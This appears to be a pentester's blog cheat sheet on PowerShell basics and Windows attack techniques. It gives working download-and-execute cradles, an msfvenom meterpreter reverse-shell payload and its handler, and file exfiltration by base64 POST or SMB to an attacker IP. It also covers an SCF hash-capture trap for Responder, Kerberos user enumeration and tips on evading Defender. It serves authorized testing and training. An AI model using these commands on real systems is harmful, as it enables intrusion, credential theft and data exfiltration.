Post

Windows Powershell Pivoting and General Pentesting Tricks

Powershell is really like a third or fourth language to me. I’ve been using Windows long enough to get my way around it, but never having been a Windows administrator by trade I never really used it for what I’ve seen most people who are fluent in it really use it for, such as Azure administration and general domain controls. For my purposes, if I’m ever at a powershell prompt, the main reason I’m using it is to work my way around the file system to increase privileges. For that reason, there are a ton of tricks to get around it using the Microsoft way, which is still something I will typically forget. I remember reading a tweet way back when that really kinda sums up how I handle powershell: “Two weeks without coding and I’ve forgotten 30 years of experience.” This statement is so true, and powershell is no different.

That said, this isn’t really meant to teach anyone anything new. You can just go to Hacktricks and get what you need. But rather, this will be a place I’ll put some of my most personally searched-for tricks that I’ve come to rely on if I’m ever pentesting a Windows server. I intend to update this document as I find more techniques to add to my repertoire. So without further ado, here’s a cheat sheet of sorts for moving around a windows box from the perspective of a pentester. I’ll do my best to explain each command as well and why it’s necessary.

General Things-To-Know on Powershell

These are just some things to understand and remember when in a powershell environment, especially if you’re just so used to a Linux environment like I am.

Redirection

Probably the fundamental difference between powershell and bash (or similar) is the redirection method. A command like:

1
$ cat /etc/passwd | awk -F: '{print $1}'

…will send the string value of /etc/passwd and send it to the awk binary. Whereas in Powershell, a similar redirection using a pipe (|) will send an object to the next commandlet, and each object will have attributes that you can refer to and manipulate. These objects are nebulous items that contain both properties and methods that are transferred through the pipeline.

For example, to display a particular file’s creation time we’d need to first use the Get-Item commandlet to essentially turn the file into an object, and pipe that to the Select-Object commandlet where we specify we care about CreationTime:

1
PS > Get-Item .\file.txt | Select-Object CreationTime

Environment Variables

You can print out the current environment variables by accessing the Environment Provider. In Powershell, you can list all providers with Get-PSDrive, and there you can see a Provider named Env. You can essentially treat each Provider here as if it’s a drive letter of sorts. In this case, you can print out environment variables with:

1
PS > Get-Item Env:

The ? { … } Shorthand and the $_ iterator

This confused me so much until I finally just looked it up. Sometimes you will see this in a script, and know that this is shorthand for the Where-Object commandlet. You would encase the function you want to run on each item in a list, putting the value in the $_ shorthand, which itself is a built-in variable for the iterator that something will loop through.

For example:

1
Get-Service | Where-Object {$_.Status -eq 'Stopped'}

is equivalent to:

1
Get-Service | ?{$_.Status -eq 'Stopped'}

Ranges

You can generate a range of numbers using the .. notation, such that 1..10 will generate the numbers 1 through 10 as an iterator.

The % { … } Shorthand

The % { ... } shorthand is short for the ForEach-Object commandlet, which will take an iterator piped to it and run instructions on each iterator. For example:

1
1..1024 | % { Write-Output $_ }

Assigning to Variables is Fundamental

In powershell, most of the time you will want to take the result of a string of commandlets and set it to a variable. This variable will be an object in powershell with attributes and methods as normal. But it can also be a set containing multiple objects.

1
$computers = Get-DomainComputer -Properties dnshostname | Select-Object -ExpandProperty dnshostname

Looping

You can loop over each object with a little bit of scripting. Useful for doing something for each item in a directory or similar. Take from the above $computers variable, which should pull the DNS hostnames

1
2
3
$sid = Convert-NameToSid harry.jones
$computers = Get-DomainComputer -Properties dnshostname | Select-Object -ExpandProperty dnshostname
Foreach-Object ($c in $computers) { Get-NetLocalGroupMember -ComputerName $c | ? {_.SID -eq $sid }}

Get a List of Aliases

You can review all the aliases with Get-Alias. Things like dir and ls are aliased to Get-ChildItem, cp is aliased to Copy-Item, etc. A lot of these commands are aliased to help Linux users feel more at ease I guess.

Windows/Powershell is UTF-16 Little Endian

This is mostly meaningless to anyone running on a single Windows box, or even communicating between several windows boxes, but when you are moving scripts from a Linux machine (like, say, a Kali or Parrot VM), they are usually created as UTF-8le on a *nix system. This does not play nice with Powershell. If you are writing a script on a Linux machine, you should use the iconv binary to convert the script to UTF-16le before sending it to Windows. Otherwise your script will most likely fail.

1
2
$ echo Invoke-WebRequest 10.10.20.30:8000/nc.exe -OutFile nc.exe | iconv -t utf-16le | base64 -w0
SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAMQAwAC4AMQAwAC4AMgAwAC4AMwAwADoAOAAwAD ...snip

Encode a File as Base64

Powershell’s method of encoding something in base64 is a little less intuitive than Linux, but the principle is similar I guess. It requires a few extra steps.

1
2
3
4
5
6
7
8
# First of all, let's take a file object and store it in a variable.
$thisFile = Get-Content -Path .\path\to\some\file.exe

# Now we can convert the file into a Byte String
$deezBytes = [System.Text.Encoding]::Unicode.GetBytes($thisFile)

# Finally, store it in Base64.
$b64 = [Convert]::ToBase64String($deezBytes)

Note: The above code will be garbled nonsense on a Linux box, so you must convert it using iconv -t utf-8le. Or you could just replace the Unicode.GetBytes() with UTF8.GetBytes() instead.

Now we have the base64 encoded file stored in the $b64 variable. Of course, you can always just one-line this, but considering how much goes into one line I figured it would be better to explain the process in three steps. Regardless, this is a one-liner version of the above:

1
$b64 = [Convert]::ToBase64String((Get-Content -Path .\path\to\some\file.exe -Encoding Byte))

Decode a File from Base64

Contrarily, if you have base64-encoded data that you want to decode, you can use the following:

1
$Decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64))

Again, replace Unicode with UTF8 if we’re dealing with that format.

Executing As Another User

At this point I’m going to discuss the more pentesting approach to using Powershell. In Linux, to execute as another user you’d use either su, sudo, or if you’re spending most of your time at the coffee shop waxing your moustache and vibing to NPR, doas or run0. Windows doesn’t quite have the same thing. First you’ll need to create a Credential object, which will contain the secure string of the password of the user (or whatever credential you have), and pass that to another script to invoke it.

Creating a Credential Object

Windows is not too keen on you typing in a password into a variable like Linux would. It will throw all sorts of warnings at you unless you tell it to shut up. For this example, I will create a credential object with the credentials of batman:letmein.

1
2
3
4
5
6
7
# The below will create a SecureString object, read it in as a parameter,
# and will tell windows to shut up with the warnings already:
$password = ConvertTo-SecureString "letmein" -AsPlainText -Force

# The below will apply a username to this password, pulling from a .NET
# object that can be used to run commands as these credentials.
$cred = New-Object System.Management.Automation.PSCredential("batman", $password)

Now you have the $cred variable which can be applied to commands that require authentication.

Enter a Powershell Session

Note that this will only work if WinRM is enabled. You can confirm this if port 5986 is open.

1
PS > New-PSSession -Credential $cred | Enter-PSSession

Invoke a Command as Another User

This is an alternative, especially if either WinRM isn’t listening, or if the user you have credentials for does not have the privileges of remote management.

1
PS > Invoke-Command -Computer <this_computer_name> -ScriptBlock { whoami } -Credential $cred

Start a Process as Another User

This is one I just discovered recently through Ippsec, so this lets you run an arbitrary command as a one-liner. You can copy the result of a Base64’d powershell script (as long as it was encoded into UTF-16le) through this command.

1
PS > Start-Process -FilePath Powershell -ArgumentList "-enc <pasted_b64_string_here>" -Credential $cred

The benefit here is you can copy a Powershell script from something like Nishang to toss back a reverse shell if need be. However note that there is a character limit, so it’s best to use one of his famous Powershell Reverse TCP one-liners to ensure this works.

Download and Run a Powershell Script

This isn’t as useful so much these days because Defender is usually quick to toss the ban-hammer at anything involving the Invoke-Expression commandlet, but sometimes you can get lucky. This will assume you have a web server handy to serve something like a Nishang script as mentioned earlier, and there is no character limit here so you don’t have to pare it down. Though it may be beneficial to obfuscate it a bit. For that, the Powershell Obfuscation Bible is a pretty handy resource.

1
PS > IEX(New-Object Net.WebClient).downloadString('http://10.10.20.30:8000/myscript.ps1')

While technically this doesn’t fall under the criteria as “running a script as another user,” I think it can be argued that if you can find an exploit for an application that runs as another user, if you are to get it to execute the above, then you are effectivly executing a script as another user. Just food for thought.

Useful Techniques

Metasploit

If you’d like to upgrade your shell to a meterpreter shell, one thing you can do is create a staged payload binary, download it, and run it once you have meterpreter listening. To do that, first we’ll generate the binary using msfvenom:

1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.20.30 LPORT=9090 -f exe -o evil.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: evil.exe

You don’t really need to specify the platform or architecture since you basically specify that in the payload list, under windows/x64/meterpreter/reverse_tcp. Don’t forget to point to your LHOST and LPORT too.

Now you can upload that however you’d like. Set up a webserver in python using python -m http.server, send it via SMB, however you’d like. Now start up metasploit using sudo msfdb run.

Once it loads, set up your listener with the following commands:

1
2
3
4
5
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.20.30
msf6 > set LPORT 9090
msf6 > exploit

And now all you need to do is just execute evil.exe on the remote server. If it works you’ll see a callback. If it doesn’t, then Defender most likely shot it down.

Getting Data To and From the Target

If you have a shell on the remote target and you would like to move a file or files from the target to your local machine, there are a few techniques you can do.

SMB

SMB is probably the most “Microsoft” way of moving data between two endpoints, and if you are determined enough, you can use it to copy files to and from the target machine. Locally, you’ll want to make sure you have the Impacket libraries, as it comes with a script named smbserver.py. From there, on your local machine, you would create a directory to serve and execute the script like so:

1
2
$ mkdir ./smb/
$ smbserver.py -smb2support folder ./smb/

Now on the remote server, you can copy the file to yourself like it’s any other file system.

1
PS > copy ./someFile.txt //10.10.10.10/folder/

You will also get the added benefit of seeing the authentication hash of the user logged in to the windows server in the impacket screen. If you don’t know the password, this might be worthwhile to attempt to either crack it or perform a Pass-The-Hash attempt. But I digress…

Now in some cases less rare than I’d like, sometimes this will fail due to incompatibility reasons. In that case, sometimes it’s better to just let Samba do it since it’s a bit more refined than Impacket.

To use Samba, first make sure it’s installed:

1
$ sudo apt-get install samba

Now create a directory just for a samba dumping ground:

1
$ sudo mkdir -p /srv/smb/

Now go ahead and add the following line to the end of /etc/samba/smb.conf:

1
2
3
4
5
6
7
[iwr]
  comment = Invoke-WebReq'd em? Damn near killed em!
  path = /srv/smb
  guest ok = yes
  browseable = yes
  create mask = 0600
  directory mask = 0755

Now start up Samba with sudo systemctl start smbd

Note: This is an extremely wide-open share that anyone can write to! It’s best to leave this service disabled and stop it when you’re done using it.

Now you can just copy to your server by a simple copy as before:

1
PS > copy someFile.txt //10.10.10.10/iwr

If this doesn’t work, there’s more than one way to skin this cat. DON’T FORGET TO STOP THE SAMBA SERVICE!

Invoke-WebRequest …and POST it!

This neat little trick I learned from Ippsec. When all else fails, you can always just base64 the data you want to copy over and send it as a POST request to your local machine. First, set up a netcat shell to output to a file:

1
$ nc -lvnp 9090 > someFile.b64

Now on the remote windows box, base64 the data as mentioned above, and then use Invoke-WebRequest to send it via a POST:

1
2
PS > $b64 = [Convert]::ToBase64String((Get-Content -Path .\path\to\someFile.exe -Encoding Byte))
PS > Invoke-WebRequest -URI http://10.10.10.10:9090 -Method POST -Body $b64

This will connect to your awaiting netcat shell, and it will output to the file someFile.b64, which will contain the base64’d data. If you open that file with an editor, you will have to remove the HTTP headers from the top, but once you do you should have your base64-encoded data. Now you can iconv it to UTF8 and decode it with the base64 binary. There’s your data!

Invoke-WebRequest is Always There For You

Of course if you’re looking to move data from your local machine onto the target, you can always just stand up a webserver locally to host the file you’d want to retrieve and use IWR to pull it.

On the local machine:

1
$ python -m http.server

Then on the remote machine:

1
PS > Invoke-WebRequest -URI http://10.10.10.10:8000/myPayload.exe -OutFile .\myPayload.exe

And you’re off to the races.

Exploit Techniques

I didn’t really know how to categorize this section, since this is kind of a loose set of ways to obtain a foothold, but here it is anyway. Here are some ways I’ve come across to at least obtain a foothold of sorts.

Responder

The responder binary is a great tool against a windows server, especially if the server is part of a windows domain. In fact it’s a pretty nifty application for many uses, even so far as to respond to DHCP requests with your own WPAD server. It’ll even start up the rogue WPAD proxy server for you! But by and large, the biggest reason I’ll ever have to run responder is to set up a service that I’m attempting to get the remote Windows server to connect to. If I have some way of having the server connect back to me, be it SMB, LDAP, WinRM, HTTP/HTTPS, DNS, etc – this will respond to those requests…AND dump the authentication hash token that the windows server used to connect with. This NTLMv2 hash can be cracked offline potentially if the user connecting is an actual user account and not a service account whose password isn’t randomly generated. Unless of course the service account actually does have a password created by a human, something that does happen more often than one might think.

To run responder, you not only have to run it as root (since it listens on ports less than 1024), but you also have to specify the interface it will listen on. For Hack The Box, typically this is tun0 for me, but YMMV:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sudo responder -I tun0                                                    
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

SCF (Shell Command Files) Exploits

Speaking of responder, one such way to get a user to connect to you is by dropping an scf file onto a share (or wherever) that someone will access. Generally if you have access to a share drive that is writeable by you, you can drop a specially crafted Shell Command File into the share and fire up responder to see if either an automated process or even a real user opens this share. What’s good about this is explorer will “execute” this SCF file even without opening it. To create it, you’ll need to add the following. First, create a file named @somefile, where the @ symbol is at the beginning, and the somefile could be named anything, preferably something sneaky based on the directory. When all else fails, you can’t go wrong with @sysconf~1.scf.

Then, add this to the file, making sure to change the below IP address to your attacker machine’s IP address.

1
2
3
4
5
[Shell]
Command=2
IconFile=\\10.10.10.10\x\icon.ico
[Taskbar]
Command=ToggleDesktop

Then sit back and wait with responder.

Enumeration Techniques

In the world of Windows (or really, when dealing with an Active Directory server), enumeration is probably the most important thing here. Building upon a list of known usernames and potential passwords is the key to pivoting and moving around. I’m not telling you anything groundbreaking, but in most engagements I’ve been on involving interrogating a domain controller, it’s generally good practice to start building a known user list to, at the very least, attempt a password-spray against it. So long as you don’t go locking out hundreds of user accounts. Don’t be that person.

Responder

Responder can listen in Analysis mode for multiple hosts. It won’t poison any LLMNR, MDNS or NBT-NS requests (which are essentially Window’s alternatives to DNS when DNS can’t be reached), but it will passively map the network you are currently on without ringing any alarm bells.

1
$ responder -I eth0 -A

Kerbrute

Kerbrute can attempt to enumerate users very silently because by default Windows does not log the events that this generates. Now this doesn’t mean that this method is completely silent, but by default KRB auth requests aren’t logged so this could very well be more silent than running something like CrackMapExec/NetExec. What this does is exploit a step in the Kerberos authentication method which returns a different response if an existing user account requests to pre-authenticate than if a non-existing user account does. This also has the benefit of being incredibly fast compared to other techniques.

1
$ kerbrute userenum -d DOMAIN.LOCAL --dc 10.10.90.90 usernames.txt

rpcclient can Query the Domain Controller

On older domain controllers that have been upgraded in place, sometimes you’ll have Null sessions that can query AD without any authentication needed. This is how to do that:

1
$ rpcclient -U "" -N 10.10.90.90

However if you have valid credentials, you can log in like this:

1
2
$ rpcclient -U "<username>%<password>" -N 10.10.90.90
rpcclient $>

Then from there, you can do some useful commands that could help enumerate the domain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# This command will display some generic info about the domain
querydominfo

# This will display the password policy attached to this domain, useful
# to determine if password spraying is viable or not
getdompwinfo

# This will, surprise surprise, enumerate the domain users. This should
# also display their Relative Identifier (RID), which you can use in
# conjunction with the following command
enumdomusers

# This will query a particular user, where 0xFFF is replaced with the RID
# obtained from the above command.
queryuser <0xFFF>

Additionally, crackmapexec or netexec as it’s known nowadays has a pretty easy method you can use to dump the users or the password policy. If you are using a null session then you can leave out the -u and -u flags.

1
2
$ crackmapexec smb 10.10.90.90 -u <someuser> -p <somepassword> --pass-pol
$ crackmapexec smb 10.10.90.90 -u <someuser> -p <somepassword> --users
This post is licensed under CC BY 4.0 by the author.